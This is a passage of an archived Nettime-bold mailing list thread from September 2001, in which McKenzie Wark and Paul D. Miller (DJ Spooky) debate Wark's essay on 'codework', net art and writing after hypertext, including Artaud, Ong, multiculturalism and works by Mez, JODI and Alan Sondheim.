\nresponsibility, of the link to the natural and artificial world.\n\nThe sender receives her or his own text back at weekly intervals, in \nan increasingly noisy and unintelligible state.\n\nThe Internet emerges in much of this work as a noisy space, in \nwhich the structures of text decay and writing becomes granular, a \nchaotic space of temporary orders constantly becoming \nrandomized. Yet within this chaotic space, the \u201cdestructive \ncharacter\u201d of the codeworker proposes new kinds of sensemaking \nthat might, for a moment, keep the parasite of noise at bay.\n\nAnother precursor one might mention, besides Blake, for the \nemerging world of codework, is the James Joyce of Finnegans \nWake. In Wake, multiplicity can erupt at any point along the textual \nsurface, not just at discrete hyperlinked nodes. Permutations, a \nWeb site by Florian Cramer, reproduces in digital form many of the \ngreat combinatory text systems, from Raymond Lullus to Ramond \nQueneau. Cramer has also produced a codework machine that \ncreates permutations on Finnegans Wake, called \u201cHere Comes \nEverybody.\u201d It works at the level of the syllable, producing a virtual \nuniverse of new portmanteau words out of original Joyce-text.\n\nThe Australian codeworker Mez has developed a distinctive prose \nstyle that she calls mezangelle, producing texts that tend to look \nlike this:\n\n.nodal +death+-points swallowed in a dea.th.rush.\n.u begin 2 -f][l][ail-, ar][t][][is][ms all awry n caught in webbed\nma][ulers][ws.\n\nRather than link discrete blocs of text, or \u201clexias,\u201d to each other, \nMez introduces the hypertext principle of multiplicity into the word \nitself. Rather than produce alternative trajectories through the text \non the hypertext principle of \u201cchoice,\u201d here they co-exist within the \nsame textual space.\n\nThe interest of Mez\u2019s writings is not limited to this distinctive \napproach to the text. While the words split and merge on the \nscreen, the authoring \u201cavatar\u201d behind them is also in a state of flux. \nTexts issue, in various forms in various places, from \ndata[h!bleeder, Phonet][r][ix, netwurker, and many other \nheteronyms.\n\nAt the heart of the codeworking enterprise is a call for a revised \napproach to language itself. Many of the creative strategies for \nmaking or thinking about writing in the latter part of the twentieth \ncentury drew on Ferdinand de Saussure\u2019s Course in General \nLinguistics. In the hands of poststructuralists, language poets, or \nhypertext authors and theorists, this was a powerful and useful \nplace to start thinking about how language works. But Saussure \nbegins by separating language as a smooth and abstract plane \nfrom speech as a pragmatic act. Language is then divided into \nsignifier and signified, with the referent appearing as a shadowy \nthird term. The concept of language that emerges, for all its purity, \nis far removed from language as a process.\n\nWhat codework draws attention to is the pragmatic side of \nlanguage. Language is not an abstract and homogenous plane, it \nis one element in a heterogeneous series of elements linked \ntogether in the act of communication. Writing is not a matter of the \ntext, but of the assemblage of the writer, reader, text, the text\u2019s \nmaterial support, the laws of property and exchange within which \nall of the above circulate, and so on.\nCodework draws attention to writing as media, where the art of \nwriting is a matter of constructing an aesthetic, an ethics, even a \npolitics, that approaches all of the elements of the process \ntogether. Codework makes of writing a media art that breaks with \nthe fetishism of the text and the abstraction of language. It brings \nwriting into contact with the other branches of media art, such as \nmusic and cinema, all of which are converging in the emerging \nspace of multimedia, and which often have a richer conception of \nthe politics of media art as a collaborative practice than has been \nthe case with writing conceived within the prison-house of \u201ctext.\u201d\n\nfrom American Book Review\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nWe no longer have roots, we have aerials. \n~~~~~~~~~~ McKenzie Wark ~~~~~~~~~\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Fri, 21 Sep 2001 14:15:09 -0500",
                "to": "nettime-l@bbs.thing.net",
                "message-id": "306742307747.307747306742@homemail.nyu.edu",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0109/msg00677.html",
                "list": "nettime_bold",
                "author_name": "McKenzie Wark",
                "subject": "[Nettime-bold] from hypertext to codework"
            },
            {
                "id": "00714",
                "content": "Ken - I'm sitting here in Florida, and just have to sigh a little \nbit. This is the problem with the digital media scene - it is SUPER \nWHITEBREAD - there is alot more going on....  I'm not attacking you, \nI just wish that the computer \"art/literary\" scene - especially where \nit comes to \"language as code\" - would think about precedents for \ntheater and spectacle outside of the normal discourse that goes on in \nspots like nettime... at the end of the day, the \"visual interface\" \nthat most of digital culture uses to create art/text/etc etc is not \nneutral, and again, this is a Mcluhan refraction of the old inner \near/eye thing, but with a little bit more of a technical twist. \nThere's a great essay that the physicist David Bohm wrote on this \ntopic called \"Thought as a System\" - the idea of progress is a \nconvergence of these \"visual cues\" that hold the eye and hand \ntogether when we think... Multi valent/multi-cultural approaches to \nlanguage and all of the sundry variations its going through right \nnow, are what make this kind of stuff alot more interesting... Artaud \nwas the fellow who invented the term \"virtual reality\" not Jaron \nLanier... think of the media repetitions of the WTC as a scene out of \n\"Theater of Cruelty\" and combine it with how mourning passes through \nthe media sphere a la Princess Diana's death etc etc and you get the \nidea of the whole gestalt of this kind of thing... or even the way \nthat linguistic permutation has evolved out of music and spoken text \n(think of Cab Calloway or Kurt Schwitters or later material like John \nCage's 'mesotics' (I'm writing this off the cuff... did I spell that \nright?), and even the way dj's play with words while spinning music \nin a set - this in itself is one of the major developments of 20th \ncentury culture: the ability not just to accept the linguistic \nregulations of a situation (again, Debord meets Grand Master \nFlash...) - but to constantly change them. This is one of the major \nissues that Henry Louis Gates wrote about in his \"Signifying Monkey\" \nessay a long while ago, but you can easily see the digital component \nof the same system of thought on-line when people play with words as \ndomain names etc etc....  there's shareware like Ray Kurzweil's \nCybernetic Poet \nhttp://www.kurzweilcyberart.com/poetry/rkcp_overview.php3\n\nand hip-hop material like Saul Williams and Kool Keith, and even the \nway the poetry of algorithms became rhythm (there's a great site on \nthe history of drum machines... http://www.drummachine.com/\n\nand out of Australia, there's the global digital poetry site that \nuses algorithms to create text and hyperlinks:\nhttp://www.experimedia.vic.gov.au/~komninos/maysites.html\n\nor even the \"visual thesaurus\" that creates 3-D models of how words \nrelate to one another...\nhttp://www.thinkmap.com/\n\nand even more MAX/MSP based code material from stuff like composer \nKarlheinz Essl's explorations of free jazz and code structures with \nhis \"lexicon-sonate\" programs:\nhttp://www.essl.at/works/lexson-online.html\n\nor nifty stuff like Chris Csikszentmihalyi's \"Robot Dj\" that does \nstuff like cuttin' and scratchin' - after all \"phonograph\" breaks \ndown to \"Sound - writing\" i.e.  \"phonetics of graphology...\"\n\nhttp://www.dj-i-robot.com/\n\nsequencing and figuring out different permutations as core aspects of \ncode is an archetypal situation at this point... Alan Sondheim is \nperhaps the equivalent  of an MC for Nettime, but again, the field \ncould and should be expanded at this point.\n\n\nthe idea here is to point out\n1) multi-cultural variations in language (Stephen Pinker does a great \njob of describing \"patois\" and cultural change as linguistic \nvariation in his \"How the Mind Works\") as a platform for figuring out \nhow codes evolve out of linguistic systems\n2) multi cultural takes on this are alot more fun... and the parties \nare alot better, and the music is alot better...\n3) what next? Ken - how about a nick name - \"Dj Oulipo\" or something...\n\npeace,\nPaul\n\n\nhttp://www2.ec-lille.fr/~book/oulipo/info/\n\n\n>Codework\n>McKenzie Wark\n>\n>\n>What happens to writing as it collides with new media? I was thinking\n>about this recently while looking over an exhibition of William Blake's\n>work at the Metropolitan Museum in New York. On display was not just Blake\n>the artist, Blake the poet, or Blake the quirky revolutionary. Here was\n>Blake the media artist.\n>\n>Blake assembled all of the elements of a media practice. As a writer he\n>experimented with all aspects of the production process.  His aesthetic\n>did not stop with the word on the page. Here, I thought, was a useful\n>precursor to name for the new developments in writing that take place on\n>the Internet, developments I will shortly define as \"codework.\"\n>\n>But Blake is interesting in this connection only if one embraces all\n>aspects of his productivity. There's a tendency, in the teaching of\n>literature and the management of its canons, to separate off the authoring\n>of the text from the other aspects of writing as a production. It's a\n>tendency that full attention to Blake frustrates, given how fully he was\n>invested in the implication of writing in all aspects of its production\n>and circulation. Blake\u00eds creation did not stop at the threshold of \"text.\"\n>\n>Digging writing out of the prison-house of \"text\" might just be what is\n>needed to unblock thinking about where the Internet is taking writing.\n>There has always been more to writing than text, and there is more to\n>electronic writing than hypertext.\n>\n>Hypertext may have come to dominate perceptions of where writing is\n>heading in the Internet era, but it is by no means the only, or the most\n>interesting, strategy for electronic writing. Hypertext writers tend to\n>take the link as the key innovation in electronic writing spaces. In\n>hypertext writing, the link is supposed to open up multiple trajectories\n>for the reader through the space of the text.\n>\n>Extraordinary claims were made for this as a liberatory writing strategy.\n>Hypertext has its limits, however. First, the writing of the text stands\n>in relation to the writing of the software as content to form. The two are\n>not really brought together on the same plane of creativity. Secondly,\n>hypertext tends not to circulate outside of the academic literary\n>community. It has its roots in avant-garde American and English literature\n>and tends to hew close to those origins. Thirdly, it doesn't really\n>rethink who the writer is, in the new network of statements that the\n>expansion of the Internet makes possible. For all the talk of the death of\n>the author, the hypertext author assumes much the same persona as his or\n>her avant-garde literary predecessors.\n>\n>What is interesting about the emergence of codework is that it breaks with\n>hypertext strategies on all three points. In many codework writings, both\n>the technical and cultural phenomena of coding infiltrates the work on all\n>its levels. Codework finds its home in a wide range of Internet venues,\n>forming dialogues\u00f3sometimes antagonistic ones\u00f3with the development of\n>other kinds of written communication in an emerging electronic writing\n>ecology. Codework also sets to work on the problem of the author, bringing\n>all of the tactics of the Internet to bear on the question of authorship.\n>\n>Codework \"entities\" such as Antiorp and JODI approach the Internet as a\n>space in which to re-engineer all of the aspects of creative production\n>and distribution. Antiorp is famous\u00f3or rather infamous\u00f3for bombarding\n>listservers such as the Nettime media theory list with posts that seem to\n>parody the sometimes high-serious style of Internet media theory. It was\n>often hard to tell whether the Antiorp writing emanated from a human\n>source or from some demented \"bot\" programmed to produce the semi-legible\n>texts.\n>\n>Antiorp has spawned a number of alternative identities and imitators. It\n>is with some trepidation that one would venture to assign codework texts\n>to discrete authors. It may be best to take the fabricated heteronyms\n>under which codework is sometimes published at face value, rather than to\n>attempt to assign discrete flesh-and-blood authors.\n>\n>Some codework frustrates the assigning of authorship as a means of\n>breaking down the link between authorship and intellectual property. The\n>Luther Blissett project, for example, encourages writers to assume the\n>name Luther Blissett. Many texts of various kinds have appeared under that\n>name and without copyright.\n>\n>Some of the more prolific Luther Blissett authors subsequently became the\n>Mu Ming Foundation, which claims to be a \"laboratory of digital design\"\n>offering \"narrative services.\" The Foundation sees itself as an\n>\u00ecenterprise\u00ee looking for strategies for regaining control over the\n>production process for codeworkers.\n>\n>The \"texts\" JODI produces hover somewhere at the limit of what a text\n>might be. A sample might look something like this:\n>\n>o\n>|:__::::::::::_\u00f3\u00f3|_::::::::::_\u00f3\u00f3|_:::::::\n>:: : :: :\n>\n>A classic JODI Web page may spit all kinds of \"punctuation art\"  across\n>the screen. This work is neither writing nor visual art but something in\n>between. The programming involved usually teeters on the brink of failure.\n>Every technology brings into being new kinds of crashes or accidents, and\n>JODI endeavors to find those accidents unique to the authoring of Web\n>pages.\n>\n>Integer sometimes makes interventions into discussions on listservers, all\n>with variations on the same distinctive approach to breaking up the text\n>and introducing noise into it, not to mention a somewhat abusive\n>hypercritical persona.\n>\n>this - a l l this. = but 01 ch!!!!!!p. uneventful\n>korporat fascist gullibloon zpektakle.\n>\n>This might be a mangled machine English, or perhaps an English written by\n>a machine programmed by someone who speaks English as a second language,\n>or someone producing a simulation of some such. The decaying grammar and\n>spelling of the Internet here becomes a kind of aesthetic alternative.\n>\n>Rather than using e-mail and listservers, Alan Sondheim sometimes uses\n>IRC, or Internet Relay Chat, as a means of collaboration and composition,\n>as in \"saying names among themselves,\" which begins:\n>\n>IRC log started Mon May 7 00:40\n>*** Value of LOG set to ON\n>*** You are now talking to channel\n>\t#nikuko\n>*** Alan is now known as terrible\n>*** terrible is now known as worries_i\n>\n>The text proceeds as what appears to be a collaboration between Sondheim\n>and unwitting collaborators, who may or may not know that this writing may\n>come to have the status of writing, rather than chat.\n>\n>Many codework texts hover on the brink of legibility, asking the reader to\n>question whether the author is made of flesh or silicon, or perhaps\n>whether authoring lies at the level of writing text or coding software to\n>write text. Kenji Siratori\u00eds texts may be machine-made or made to look\n>machine-made.\n>\n>Ant PC planetary, MURDEROUS CONSEQUENCES! body line\n>TREMENDOUS HORROR! drugy miracle ADAM doll\n>TREMENDOUS HORROR! thyroid falls\u00d6.MURDEROUS\n>CONSEQUENCES! vivid placenta world TREMENDOUS HORROR!\n>machinative angel:her soul-machine discharges MURDEROUS\n>CONSEQUENCES! speed PC fear\u00d6.MURDEROUS\n>CONSEQUENCES!\n>\n>That text is called \"Alan Sondheim-conference\" and appears to be a\n>response to a conference report by Sondheim.\n>\n>While some codeworkers pounce upon the texts of others as raw material for\n>codeworking, St\u00c8phan Barron asks others to volunteer texts. In \"Com_post\n>Concepts\" he solicits contributions with a text that begins:\n>\n>Web surfers send in their texts by e-mail. All are then composted! Just as\n>we ourselves are composted! Recycling as organic and cyclical technology,\n>a technology of intelligence and responsibility, of the link to the\n>natural and artificial world.\n>\n>The sender receives her or his own text back at weekly intervals, in an\n>increasingly noisy and unintelligible state.\n>\n>The Internet emerges in much of this work as a noisy space, in which the\n>structures of text decay and writing becomes granular, a chaotic space of\n>temporary orders constantly becoming randomized. Yet within this chaotic\n>space, the \u00ecdestructive character\u00ee of the codeworker proposes new kinds of\n>sensemaking that might, for a moment, keep the parasite of noise at bay.\n>\n>Another precursor one might mention, besides Blake, for the emerging world\n>of codework, is the James Joyce of Finnegans Wake. In Wake, multiplicity\n>can erupt at any point along the textual surface, not just at discrete\n>hyperlinked nodes. Permutations, a Web site by Florian Cramer, reproduces\n>in digital form many of the great combinatory text systems, from Raymond\n>Lullus to Ramond Queneau. Cramer has also produced a codework machine that\n>creates permutations on Finnegans Wake, called \"Here Comes Everybody.\" It\n>works at the level of the syllable, producing a virtual universe of new\n>portmanteau words out of original Joyce-text.\n>\n>The Australian codeworker Mez has developed a distinctive prose style that\n>she calls mezangelle, producing texts that tend to look like this:\n>\n>.nodal +death+-points swallowed in a dea.th.rush.\n>.u begin 2 -f][l][ail-, ar][t][][is][ms all awry n caught in webbed\n>ma][ulers][ws.\n>\n>Rather than link discrete blocs of text, or \"lexias,\" to each other, Mez\n>introduces the hypertext principle of multiplicity into the word itself.\n>Rather than produce alternative trajectories through the text on the\n>hypertext principle of \"choice,\" here they co-exist within the same\n>textual space.\n>\n>The interest of Mez's writings is not limited to this distinctive approach\n>to the text. While the words split and merge on the screen, the authoring\n>\"avatar\" behind them is also in a state of flux.  Texts issue, in various\n>forms in various places, from data[h!bleeder, Phonet][r][ix, netwurker,\n>and many other heteronyms.\n>\n>At the heart of the codeworking enterprise is a call for a revised\n>approach to language itself. Many of the creative strategies for making or\n>thinking about writing in the latter part of the twentieth century drew on\n>Ferdinand de Saussure's Course in General Linguistics. In the hands of\n>poststructuralists, language poets, or hypertext authors and theorists,\n>this was a powerful and useful place to start thinking about how language\n>works. But Saussure begins by separating language as a smooth and abstract\n>plane from speech as a pragmatic act. Language is then divided into\n>signifier and signified, with the referent appearing as a shadowy third\n>term. The concept of language that emerges, for all its purity, is far\n>removed from language as a process.\n>\n>What codework draws attention to is the pragmatic side of language.\n>Language is not an abstract and homogenous plane, it is one element in a\n>heterogeneous series of elements linked together in the act of\n>communication. Writing is not a matter of the text, but of the assemblage\n>of the writer, reader, text, the text's material support, the laws of\n>property and exchange within which all of the above circulate, and so on.\n>Codework draws attention to writing as media, where the art of writing is\n>a matter of constructing an aesthetic, an ethics, even a politics, that\n>approaches all of the elements of the process together. Codework makes of\n>writing a media art that breaks with the fetishism of the text and the\n>abstraction of language. It brings writing into contact with the other\n>branches of media art, such as music and cinema, all of which are\n>converging in the emerging space of multimedia, and which often have a\n>richer conception of the politics of media art as a collaborative practice\n>than has been the case with writing conceived within the prison-house of\n>\"text.\"\n>\n>from American Book Review\n>\n>\n>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n>We no longer have roots, we have aerials.\n>~~~~~~~~~~ McKenzie Wark ~~~~~~~~~\n>\n>\n>\n>\n>\n>#  distributed via <nettime>: no commercial use without permission\n>#  <nettime> is a moderated mailing list for net criticism,\n>#  collaborative text filtering and cultural politics of the nets\n>#  more info: majordomo@bbs.thing.net and \"info nettime-l\" in the msg body\n>#  archive: http://www.nettime.org contact: nettime@bbs.thing.net\n\n\n\n============================================================================\n\nPort:status>OPEN\nwildstyle access: www.djspooky.com\n\nPaul D. Miller a.k.a. Dj Spooky that Subliminal Kid\n\nSubliminal Kid Inc.\n\nOffice Mailing Address:\n\nMusic and Art Management\n245 w14th st #2RC NY NY\n10011\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "to": "McKenzie Wark <mw35@nyu.edu>,\"nettime-l@bbs.thing.net\" <nettime-l@bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0109/msg00714.html",
                "list": "nettime_bold",
                "author_name": "Paul D. Miller",
                "subject": "[Nettime-bold] Re: <nettime> from hypertext to codework",
                "from": "\"Paul D. Miller\" <anansi1@earthlink.net>",
                "follow-up": [
                    {
                        "follow-up": [
                            {
                                "from": "\"Paul D. Miller\" <anansi1@mail.earthlink.net>",
                                "content": "Hey Ken -\n1) Artaud - relatively decent Artaud sites:\nhttp://www.hydra.umn.edu/artaud/ab.html\n\nhttp://www.antoninartaud.org/home.html\n\nand the Artaud reference can be found in the \"Theater and It's \nDouble\" at the beginning of the section entitled \"The Theater and its \nShadow\"\n\naround p.49 in the edition I have \"la realite virtuelle\" - 1938.... \nin the section called the \"theater and it's shadow\" or something like \nthat... the original context was that humans were inundated with life \nas symbolic reality... both me and Erik Davis deal with this in our \nrespective writings on the topic.\n\n2) There's plenty of room for figuring out how Walter Ong's ideas of \norality and text flow together, his book \"Orality and Literacy: the \nTechnologizing of the Word\"  remains a pretty good glimpse into how \nwords became in a word \"the noetic navigation of places\" - but words \nassign place and meaning on-line, but in the world of stuff like Amos \nTutualoa or John Lee (the black hacker on the cover of Wired a long \ntime ago who was into the whole language as cipher-text etc etc his \ncrew was called \"The Masters of Deception\"), it'd be nifty to figure \nout on how mantras etc etc fit into this too....\n\n3) your idea that \"everything Alan does is a proposition on how to \nread...\" - well, yep, but again, it's the permutations of the process \nthat make reading him interesting. Otherwise, no disrespect to Alan, \nit'd be like listening to the same beat over and over and over... \neven the linguistic origins of jazz (from the French verb \"jazzer\" - \nwhich means to \"have a dialog\") - still pertains to what you spoke \nabout.Some of this relates basically as the \"lowest common \ndenominator\" kind of scenario to the \"sequencing/spatializing\" of the \nword that Ong deals with, but again, there's plenty of stuff like \nthat in electronic music at this point... There's a couple of great \ntreatments of that topic in Robert Farris Thompson's classic \"Flash \nof the Spirit\"...\n\n4) yep, I agree about mixing styles and genres... in academia, there \nare rules and regulations about this kind of thing, but I have a \nfeeling the next generation of folks will all look at this kind of \nthing as a video game or hypertext of a kind of collaborative \nfiltering or something... speaking of rules, I see that Mark Dery is \nnow an assistant (junior) professor of Journalism at NYU... ha! ha! - \ngod help the children who study under him.... But uh... anyway... if \nyou still have that article around (the one on language and whatnot \nwith henry louis gates etc etc) we're still working on getting 21C \nstarted up - I've been travelling alot, and that's slowed things \ndown..... Let me know if you'd be into re-publishing it or something. \nI'm going to set up the web version of the magazine first and deal \nwith the print in a little bit (www.21cmagazine.com is up and \nrunning, but again, there's only 24 hours in the day... I have a \ndecent amount of articles from various folks, but I need about two \nweeks of down-time - which I'm taking in mid-October - to finalize \neverything... more on that in a bit)\nokay,\npeace from Florida\nPaul\n\n\n\n>Thanks to Paul for\n>his remarks, but i\n>think, as they say,\n>that\n>i want to break it\n>down...\n>\n>  >the problem with\n>the digital media\n>scene - it is\n>SUPER\n>  > WHITEBREAD -\n>there is alot more\n>going on....\n>Yes, but when it\n>comes to entities\n>like antiorp or\n>jodi, is it\n>all that useful to\n>pose things in\n>this old\n>identity-bound\n>language?\n>\n>  >think about\n>precedents for\n>theater and\n>spectacle outside\n>of the >normal\n>discourse that\n>goes on...\n>Yes, but i don't\n>quite have the\n>freedom of\n>movement that\n>you\n>do, Paul. As an\n>artist, you can cut\n>and mix in a way\n>that one can't\n>in scholarship. Its\n>not the medium,\n>its the genre.\n>\n>  >this is a Mcluhan\n>refraction of the\n>old inner\n>  > ear/eye thing,\n>but with a little bit\n>more of a\n>technical twist.\n>Always been\n>skeptical about\n>that aspect of\n>McLuhan, but I\n>think Ong is\n>useful here. He\n>talks of\n>'secondary orality',\n>which\n>is the orality that\n>arises within a\n>literate culture,\n>but i think\n>there is also now\n>a 'secondary\n>literacy', the\n>literacy that arises\n>within an\n>electro-oral\n>world....\n>\n>  > Artaud  was the\n>fellow who\n>invented the term\n>\"virtual reality\"\n>Oh really?\n>Where? [scholar\n>mode] \"We must\n>awaken the Gods\n>that sleep in\n>museums.\" Yes,\n>Artaud is a good\n>handle for\n>understanding\n>the global media\n>event. My first\n>book already\n>covers all this.\n>\n>  > this in itself is\n>one of the major\n>developments of\n>20th\n>  > century culture:\n>the ability not just\n>to accept the\n>linguistic\n>  > regulations of a\n>situation (again,\n>Debord meets\n>Grand Master\n>  > Flash...) - but to\n>constantly change\n>them. This is one\n>of the major\n>  > issues that\n>Henry Louis\n>Gates wrote\n>about in his\n>\"Signifying\n>  > Monkey\"  essay\n>a long while ago\n>Yes, i once wrote\n>an essay on\n>Gates' signifying\n>monkey and\n>Skooly D, who\n>has a great rap\n>about the\n>monkey, the\n>faggot\n>and the fat-assed\n>pimp. Needless\n>to say i couldn't\n>get it\n>published...\n>\n>  > Alan Sondheim\n>is\n>  > perhaps the\n>equivalent  of an\n>MC for Nettime\n>Alan posts to a lot\n>of lists and does\n>a lot of other stuff\n>besides,\n>so i don't think he\n>would want\n>anyone to see his\n>stuff here as\n>representative.\n>But i think that's a\n>nice take on it.\n>Sondheim as\n>an MC of sense,\n>of affect, cutting\n>and mixing the\n>letter to that\n>effect. Everything\n>Alan does is a\n>proposition about\n>how to\n>read.\n>\n>  >but again, the\n>field\n>  > could and\n>should be\n>expanded at this\n>point.\n>Its your job to\n>think like that,\n>Paul, some of us\n>have to work in\n>a different kind of\n>time. Its not about\n>slow or fast, but\n>about\n>rhythms (all\n>rhythms are the\n>same speed as\n>they all get you\n>there in the end).\n>Its about being\n>untimely. Mixing\n>past and\n>present is\n>another kind of\n>mix. Blake and\n>Integer. What is in\n>that edit? I don't\n>see it as\n>invalidated by the\n>other edits it\n>passes over in\n>silence.\n>\n>  > 1) multi-cultural\n>variations in\n>language\n>You're an\n>American, Paul, to\n>whom\n>'multicultural'\n>means\n>multi-racial.\n>That's fine, but it\n>is not the\n>definition of\n>multiplicity with\n>which the rest of\n>the world\n>necessarily\n>works. I'm not so\n>keen on the\n>compression of\n>difference\n>down to this\n>narrow plane so\n>as to squeeze it\n>into\n>American\n>bandwidth. The\n>celebration of\n>multiplicity\n>going on right\n>now is a\n>frightening\n>reminder of just\n>how\n>narrow\n>conceptions of\n>difference are in\n>the United States.\n>\n>  > multi cultural\n>takes on this are\n>alot more fun...\n>Well they would\n>be, but American\n>multiculturalism\n>isn't\n>much of a\n>multiplicity. I find\n>it tone-deaf to\n>'patois' that isn't\n>minted locally.\n>And look at the\n>basis on which\n>other kinds\n>of multiplicity are\n>annexed to its\n>needs: the\n>appropriation\n>of\n>postcolonialism,\n>the Black Atlantic\n>and so on. All well\n>and good, but in\n>the long run just\n>variations on the\n>self\n>image of America\n>in the world.\n>\n>So: there's a\n>problem with the\n>multicultural\n>scene, its\n>SUPER-AMERICA\n>N. But, again, its\n>not a criticism of\n>you,\n>Paul, but just\n>indiciative of the\n>difficulty of\n>working in this\n>place and time.\n>Its hard to see the\n>context, and how\n>the\n>context shapes\n>the discourse.\n>\n>Thanks for the\n>urls, which i'm\n>looking at and\n>learning from.\n>\n>cheers\n>\n>ken\n\n\n\n============================================================================\n\nPort:status>OPEN\nwildstyle access: www.djspooky.com\n\nPaul D. Miller a.k.a. Dj Spooky that Subliminal Kid\n\nSubliminal Kid Inc.\n\nOffice Mailing Address:\n\nMusic and Art Management\n245 w14th st #2RC NY NY\n10011\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                                "id": "00770",
                                "date": "Mon, 24 Sep 2001 12:45:51 -0400",
                                "to": "\"nettime-l@bbs.thing.net\" <nettime-l@bbs.thing.net>",
                                "message-id": "v0422082ab7d5080b24e4@[209.246.104.235]",
                                "url": "https://nettime.org/Lists-Archives/nettime-bold-0109/msg00770.html",
                                "content-type": "text/plai",
                                "author_name": "Paul D. Miller",
                                "subject": "[Nettime-bold] from hypertext to codework"
                            }
                        ],
                        "from": "McKenzie Wark <mw35@nyu.edu>",
                        "content": "\nThanks to Paul for \nhis remarks, but i \nthink, as they say, \nthat\ni want to break it \ndown...\n\n>the problem with \nthe digital media \nscene - it is \nSUPER \n> WHITEBREAD - \nthere is alot more \ngoing on....  \nYes, but when it \ncomes to entities \nlike antiorp or \njodi, is it\nall that useful to \npose things in \nthis old \nidentity-bound\nlanguage?\n\n>think about \nprecedents for  \ntheater and \nspectacle outside \nof the >normal \ndiscourse that \ngoes on...\nYes, but i don't \nquite have the \nfreedom of \nmovement that \nyou\ndo, Paul. As an \nartist, you can cut \nand mix in a way \nthat one can't\nin scholarship. Its \nnot the medium, \nits the genre. \n\n>this is a Mcluhan \nrefraction of the \nold inner \n> ear/eye thing, \nbut with a little bit \nmore of a \ntechnical twist. \nAlways been \nskeptical about \nthat aspect of \nMcLuhan, but I\nthink Ong is \nuseful here. He \ntalks of \n'secondary orality', \nwhich\nis the orality that \narises within a \nliterate culture, \nbut i think\nthere is also now \na 'secondary \nliteracy', the \nliteracy that arises\nwithin an \nelectro-oral \nworld....\n\n> Artaud  was the \nfellow who \ninvented the term \n\"virtual reality\" \nOh really? \nWhere? [scholar \nmode] \"We must \nawaken the Gods\nthat sleep in \nmuseums.\" Yes, \nArtaud is a good \nhandle for \nunderstanding \nthe global media \nevent. My first \nbook already\ncovers all this. \n\n> this in itself is \none of the major \ndevelopments of \n20th \n> century culture: \nthe ability not just \nto accept the \nlinguistic \n> regulations of a \nsituation (again, \nDebord meets \nGrand Master \n> Flash...) - but to \nconstantly change \nthem. This is one \nof the major \n> issues that \nHenry Louis \nGates wrote \nabout in his \n\"Signifying \n> Monkey\"  essay \na long while ago\nYes, i once wrote \nan essay on \nGates' signifying \nmonkey and\nSkooly D, who \nhas a great rap \nabout the \nmonkey, the \nfaggot\nand the fat-assed \npimp. Needless \nto say i couldn't \nget it\npublished...\n\n> Alan Sondheim \nis \n> perhaps the \nequivalent  of an \nMC for Nettime\nAlan posts to a lot \nof lists and does \na lot of other stuff \nbesides,\nso i don't think he \nwould want \nanyone to see his \nstuff here as\nrepresentative. \nBut i think that's a \nnice take on it. \nSondheim as\nan MC of sense, \nof affect, cutting \nand mixing the \nletter to that\neffect. Everything \nAlan does is a \nproposition about \nhow to\nread.\n\n>but again, the \nfield \n> could and \nshould be \nexpanded at this \npoint.\nIts your job to \nthink like that, \nPaul, some of us \nhave to work in\na different kind of \ntime. Its not about \nslow or fast, but \nabout\nrhythms (all \nrhythms are the \nsame speed as \nthey all get you\nthere in the end). \nIts about being \nuntimely. Mixing \npast and\npresent is \nanother kind of \nmix. Blake and \nInteger. What is in\nthat edit? I don't \nsee it as \ninvalidated by the \nother edits it\npasses over in \nsilence.\n\n> 1) multi-cultural \nvariations in \nlanguage \nYou're an \nAmerican, Paul, to \nwhom \n'multicultural' \nmeans\nmulti-racial. \nThat's fine, but it \nis not the \ndefinition of\nmultiplicity with \nwhich the rest of \nthe world \nnecessarily\nworks. I'm not so \nkeen on the \ncompression of \ndifference\ndown to this \nnarrow plane so \nas to squeeze it \ninto \nAmerican \nbandwidth. The \ncelebration of \nmultiplicity\ngoing on right \nnow is a \nfrightening \nreminder of just \nhow\nnarrow \nconceptions of \ndifference are in \nthe United States.\n\n> multi cultural \ntakes on this are \nalot more fun... \nWell they would \nbe, but American \nmulticulturalism \nisn't\nmuch of a \nmultiplicity. I find \nit tone-deaf to \n'patois' that isn't\nminted locally. \nAnd look at the \nbasis on which \nother kinds\nof multiplicity are \nannexed to its \nneeds: the \nappropriation\nof \npostcolonialism, \nthe Black Atlantic \nand so on. All well\nand good, but in \nthe long run just \nvariations on the \nself\nimage of America \nin the world. \n\nSo: there's a \nproblem with the \nmulticultural \nscene, its\nSUPER-AMERICA\nN. But, again, its \nnot a criticism of \nyou,\nPaul, but just \nindiciative of the \ndifficulty of \nworking in this\nplace and time. \nIts hard to see the \ncontext, and how \nthe\ncontext shapes \nthe discourse.\n\nThanks for the \nurls, which i'm \nlooking at and \nlearning from.\n\ncheers\n\nken\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00741",
                        "date": "Sun, 23 Sep 2001 14:02:48 -0500",
                        "to": "\"Paul D. Miller\" <anansi1@earthlink.net>",
                        "message-id": "6ab1b36b0778.6b07786ab1b3@homemail.nyu.edu",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0109/msg00741.html",
                        "content-type": "text/plai",
                        "author_name": "McKenzie Wark",
                        "subject": "[Nettime-bold] Re: <nettime> from hypertext to codework"
                    },
                    {
                        "from": "\"Paul D. Miller\" <anansi1@mail.earthlink.net>",
